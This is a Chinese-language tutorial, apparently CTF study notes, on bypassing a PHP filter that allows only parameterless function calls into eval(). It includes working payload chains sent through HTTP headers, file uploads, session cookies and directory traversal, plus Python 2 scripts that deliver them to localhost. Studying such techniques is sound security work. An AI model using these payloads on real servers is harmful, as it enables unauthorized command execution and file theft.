无参rce
概念介绍:
RCE英文全称:remote command/code execute
分为远程命令执行ping和远程代码执行evel。漏洞出现的原因:没有在输入口做输入处理。
我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。
所谓无参数RCE,就是通过没有参数的函数达到命令执行的目的
即
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
preg_replace ( 搜索的模式,用于替换的字符串或字符串数组,要搜索替换的 )
常用方法:
1.getenv()
获取一个环境变量值
$GLOBALS
$_SERVER $_GET
$_POST $_FILES
$_COOKIE $_SESSION
$_REQUEST $_ENV
payload:
array_rand(array_flip($a))
- array_rand():随机从数组中返回键
- array_flip():交换数组中键和值
2.getallheaders()
getallheaders()其实具有局限性,因为他是apache的函数,如果目标中间件不为apache,那么这种方法就会失效
可以进一步利用http header的sky属性进行rce
var_dump(getallheaders()); //直接页面回显
sky: phpinfo();
sky:system(‘ls /tmp’);
或:
sky:phpinfo();
3.get_defined_vars()
如果目标中间件不为apache,可以使用get_defined_vars(),显全局变量_GET $_POST $_FILES $_COOKIE
get_defined_vars():返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量
payload:
code=var_dump(current(get_defined_vars()));&sky=phpinfo();
如果网站对一下进行全局过滤
$_GET
$_POST
$_COOKIE
最终脚本如下
import requests
from io import BytesIO
payload = "system('ls /tmp');".encode('hex')
files = {
payload: BytesIO('sky cool!')
}
r = requests.post('http://localhost/skyskysky.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)
print r.content
4.session_id()
则,hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符
import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "echo 'sky cool';".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content
5.dirname() & chdir()
poyload:
readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
getcwd()
获取当前目录- dirname()目录上跳:—返回父目录的路径
- chdir (字符串
$directory
): bool 将 PHP 的当前目录更改为directory
.- scandir()文件、目录遍历
- array_reverse() 函数返回翻转顺序的数组
- readfile() 函数读取一个文件,并写入到输出缓冲
- next()函数将内部指针指向数组中的下一个元素,并输出
- prev() - 将内部指针指向数组中的上一个元素,并输出
- current() - 返回数组中的当前元素的值
- end() - 将内部指针指向数组中的最后一个元素,并输出
- reset() - 将内部指针指向数组中的第一个元素,并输出
- each() - 返回当前元素的键名和键值,并将内部指针向前移动